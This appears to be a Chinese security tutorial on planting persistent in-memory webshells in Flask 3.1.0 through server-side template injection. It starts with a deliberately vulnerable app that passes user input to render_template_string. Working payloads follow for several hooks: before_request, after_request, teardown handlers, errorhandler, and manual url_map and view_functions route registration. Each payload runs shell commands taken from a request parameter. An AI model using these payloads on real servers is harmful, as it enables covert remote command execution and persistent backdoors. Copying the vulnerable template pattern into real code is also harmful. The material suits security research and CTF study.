环境:
Flask:3.1.0
# 测试代码
from flask import Flask, request, render_template_string | |
app = Flask(__name__) | |
@app.route('/') | |
def home(): | |
person = "NO ARG" | |
if request.args.get('name'): | |
person = request.args.get('name') | |
#eval(person) | |
template = '<h2> %s!</h2>' % person | |
return render_template_string(template) | |
@app.route('/config') | |
def config(): | |
# 查看 config 变量中的键值 | |
template = ''' | |
<pre> | |
{% for key, value in config.items() %} {{ "%-25s"|format(key) }} → {{ value }} {% endfor %} | |
</pre> | |
''' | |
return render_template_string(template, config=app.config) | |
if __name__ == "__main__": | |
print("Listening on port 5000. ") | |
app.run() |
所有演示都是基于理想情况下的本地测试,具体场景请具体对待
# add_url_rule 的限制
内存马主要是通过添加路由,并定义一个匿名函数从而执行恶意命令,以前几乎都是通过 add_url_rule
来添加路由
经典 payload:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} |
但是在新 flask 环境下会报错:
浅浅调试一下,可以发现现在的 flask 对 add_url_rule
做了一些 check
当你使用 add_url_rule
时
会把 self._got_first_request
赋值为 True,表示你已经用过一次了
随后也会进行一次检查
位于 sansio/app.py 下的 check_setup_finished
函数会对 self._got_first_request
的值进行判断,先前被赋值为 True 的话,直接就给你报错喽
# before_request
先来看这个修饰器为什么能被利用
可以定义在每个请求前执行的操作
能够将匿名函数 f 加入到 self.before_request_funcs
字典中并返回 f
测试 payload:
去掉 eval 的注释直接用
?name=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('ls').read()) |
或者考虑 ssti:
?name={{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('ls').read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
将匿名函数部分采用 lambda 表达式来执行命令,第一次注册 before_request,在第二次发送请求时才会执行,从而执行命令
但是,这个修饰器会在任意请求执行前执行,会影响正常业务
# after_request
操作和 before 的十分相似,不过是改为了在每次请求后才执行,稍微改一下 payload
?name=app.after_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('ls').read()) |
结果给出了报错
看起来是 lambda 定义和调用不匹配导致的
回过头再去看对于 after_request 的解释,才发现函数需要使用响应对象调用,并且必须返回响应对象
重新修改一下匿名函数
?name=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')).read())')==None else resp) |
这里对这个 payload 解释一下,分为这几个部分lambda resp:
: 定义了参数if request.args.get('cmd') and exec(...)==None
: 当传入 cmd 参数时才执行(exec 无回显,所以其值一定是 None)exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')
:
这里将 CmdResp 设置为全局变量,通过 make_response 来创建响应对象else resp
: 没有使用 cmd 时也需要正常返回
同样给出 ssti 下的形式:
?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
同样打两次,第一次注册
第二次会在请求后能执行 cmd 参数中传入的命令
# teardown_request
这个修饰器和前面的 after_request 很像啊,而且都是在请求后执行,但是 after_request 是在响应发送给客户端之前执行;teardown_request 则是在在响应发送给客户端后执行,并且抛出的异常会被忽略
根据说明给出测试 payload:
?name=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').popen('ls').read()) |
看样子是成功执行了,但是无回显,在学长的建议下改了一下 payload:
?name=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').popen('ls > 1.txt').read()) |
把结果重定向到新文件中
ssti 写法:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda a: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=ls>1.txt |
# teardown_appcontext
相似的逻辑,这个修饰器是在应用上下文从栈中弹出之前运行
别的不说先按添加匿名函数的规则打一发看看
?name=app.teardown_appcontext_funcs.append(lambda a:__import__('os').popen('ls').read()) |
还是一样的通过写文件来获得回显
但是在尝试 ssti 写法时却遇到了问题
?name={{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda a: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=ls>1.txt |
原来是在没有请求的情况下访问了 request 导致 flask 无法构建上下文所以 Runtime error 了
看来是只能写静态命令了,最多出网的情况下写反弹 shell
# errorhandler
errorhandler 和前面几个利用方式不太一样
一点点捋一下:
首先根据修饰器说明可以知道,这是用于处理异常的,并且能返回一个函数 f
跟进 register_error_handler
code_or_exception
可以是 HTTP 状态码或者是一个异常类f
是想调用的处理函数f: ft.ErrorHandlerCallable
是将 f 注册进 Flask 的内部错误处理映射表_get_exc_class_and_code
统一规范一下格式self.error_handler_spec[None][code][exc_class] = f
调用注册的全局错误处理器
想要利用就需要控制 code 和 exc_class
这两个是可以通过直接利用 _get_exc_class_and_code
这个修饰器得到的,这样一来就万事具备了
通过最容易触发的 HTTP 码 404 来利用
payload:
?name={{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}} |
不想用 ssti 测试的话将 eval () 改成 exec () 也能实现
成功打入
访问不存在的路由获得回显
# url_map&view_functions
之前简单讨论过 add_url_route
在新版 flask 已经不能被利用来进行内存马注入,但是看了 4uuu Nya 师傅的文章发现还能通过手动构建 add_url_route
来植入内存马
在 add_url_route
的处理过程中, url_map
和 view_functions
是实现路由添加的两大支柱,前面的都是一些逻辑解析
url_map 是 url 到 endpoint 名称的映射表,储存了 rule 规则
view_functions 负责 endpoint 到视图函数的映射
手动构建这两个就能实现添加路由的操作
先添加新的 rule 规则
?name=app.url_map.add(app.url_rule_class('/test', methods=['GET'],endpoint='shell')) |
创建完之后访问 /test 就会发现还缺少指定的 endpoint
更新 endpoint 到视图函数的映射
?name=app.view_functions.update({'shell': lambda:__import__('os').popen( __import__('flask').request.args.get('cmd')).read()}) |
上述都是直接利用 eval 的写法,改用 ssti 只需要获得 app 就行
?name={{url_for.__globals__.__builtins__.exec("app.url_map.add(app.url_rule_class('/test',methods=['GET'],endpoint='shell'));app.view_functions.update({'shell':lambda:__import__('os').popen(__import__('flask').request.args.get('cmd')).read()})",{'request': url_for.__globals__['request'], 'app': url_for.__globals__['current_app']})}} |
参考文章
https://xz.aliyun.com/news/13976
https://tiangonglab.github.io/blog/tiangongarticle038/
https://the0n3.top/pages/77dbc1/# 低版本 flask 内存马